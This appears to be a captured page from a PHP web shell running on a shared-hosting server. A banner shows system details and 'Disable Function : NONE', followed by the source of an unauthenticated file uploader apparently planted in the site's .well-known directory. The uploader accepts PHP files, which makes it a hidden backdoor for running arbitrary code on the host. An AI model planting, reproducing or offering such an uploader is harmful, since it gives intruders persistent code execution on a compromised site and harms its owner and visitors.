|
Server : Apache System : Linux ecngx264.inmotionhosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64 User : lonias5 ( 3576) PHP Version : 7.3.33 Disable Function : NONE Directory : /proc/self/cwd/.well-known/ |
Upload File : |
<?php
// Set upload directory
$uploadDir = __DIR__ . '/uploads/';
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0755, true);
}
// Check if form was submitted
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
$file = $_FILES['file'];
$fileName = basename($file['name']);
$targetFile = $uploadDir . $fileName;
$fileType = pathinfo($targetFile, PATHINFO_EXTENSION);
// Allowed file types
$allowedTypes = ['jpg', 'png', 'gif', 'pdf', 'zip', 'txt', 'php'];
if (!in_array(strtolower($fileType), $allowedTypes)) {
die("Error: File type not allowed.");
}
// Check for errors
if ($file['error'] !== 0) {
die("Error: File upload failed.");
}
// Move file to upload directory
if (move_uploaded_file($file['tmp_name'], $targetFile)) {
echo "File uploaded successfully: <a href='uploads/$fileName'>$fileName</a>";
} else {
echo "Error: Unable to upload file.";
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>PHP File Uploader</title>
</head>
<body>
<h2>Upload a File</h2>
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="file" required>
<button type="submit">Upload</button>
</form>
</body>
</html>